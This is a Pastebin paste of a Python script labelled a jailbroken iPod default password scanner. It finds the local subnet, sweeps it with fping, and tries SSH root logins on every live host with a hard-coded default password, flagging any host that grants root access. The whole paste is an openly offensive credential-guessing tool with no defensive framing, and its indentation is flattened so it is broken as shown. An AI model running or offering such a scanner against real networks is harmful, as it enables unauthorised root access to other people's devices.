Advertisement
Guest User

Untitled

a guest
Jul 3rd, 2017
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.96 KB | None | 0 0
  1. #Jailbroken iPod default password scanner, make sure you install fping & paramiko
  2.  
  3.  
  4. import paramiko
  5. import os
  6.  
  7. ssh = paramiko.SSHClient()
  8. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  9.  
  10.  
  11. os.system("ifconfig | grep \"inet addr\" > subnet.tmp")
  12.  
  13. s = open("subnet.tmp", "r")
  14. subnet = s.read()
  15. s.close()
  16. subnet = subnet.split("inet addr:")[2].split(" ")[0]
  17. print '[It appears your subnet is ' + subnet + ']'
  18. os.system("rm subnet.tmp")
  19. #find hosts on LAN
  20. print '[Attempting to scan...]'
  21.  
  22.  
  23. #fping 171.17.0/24.0/24
  24.  
  25. count = 0
  26. def run():
  27.     global count
  28.     if count == 255:
  29.     return
  30.     s_count = str(count)
  31.     try:
  32.     os.system("fping -a -g "+subnet.split(".")[0]+"."+subnet.split(".")[1]+"."+s_count+".0/24 > temp"+s_count+".txt")
  33.     except:
  34.     print "Error"
  35.     pass
  36.     count = count+1
  37.     run()
  38. run()
  39. print "[Merging...]"
  40.  
  41. count = 0
  42.  
  43. def merge():
  44.     global count
  45.     s_count = str(count)
  46.     x = open("temp"+s_count+".txt", "r")
  47.     contents = x.read().split('\n')
  48.     x.close()
  49.     x = open("merge", "a")
  50.     for f in contents:
  51.     if f == "":
  52.         continue
  53.     x.write(f+'\n')
  54.     x.close()
  55.     count = count + 1
  56.    
  57.     try:
  58.     merge()
  59.     except:
  60.     pass
  61.    
  62. merge()
  63.  
  64. print '[Cleaning up...]'
  65. os.system("rm temp*")
  66.  
  67. file = open('merge', 'r')
  68. ip_list = file.read().split("\n")
  69. file.close()
  70. ip_length = len(ip_list)-1
  71. os.system("rm merge")
  72. count = 0
  73.  
  74. print "[Testing " +str(ip_length)+ " hosts]"
  75.  
  76. #test all the hosts
  77. def scan():
  78.     global count
  79.    
  80.     if count == ip_length:
  81.     return
  82.     try:
  83.    
  84.     ip_list[count] = ip_list[count].replace(" ","")
  85.     print "Trying ["+ip_list[count]+"]"
  86.     ssh.connect(ip_list[count], username="root", password="insignia91")
  87.     stdin, stdout, stderr = ssh.exec_command("whoami")
  88.     if stdout.read().split("\n")[0] == "root":
  89.         raw_input("ROOT ACCESS, HOST="+ip_list[count])
  90.        
  91.     else:
  92.         ssh.close()
  93.     except:pass
  94.     count = count + 1
  95.     scan()
  96.    
  97.    
  98. scan()
  99.    
  100.    
  101. exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement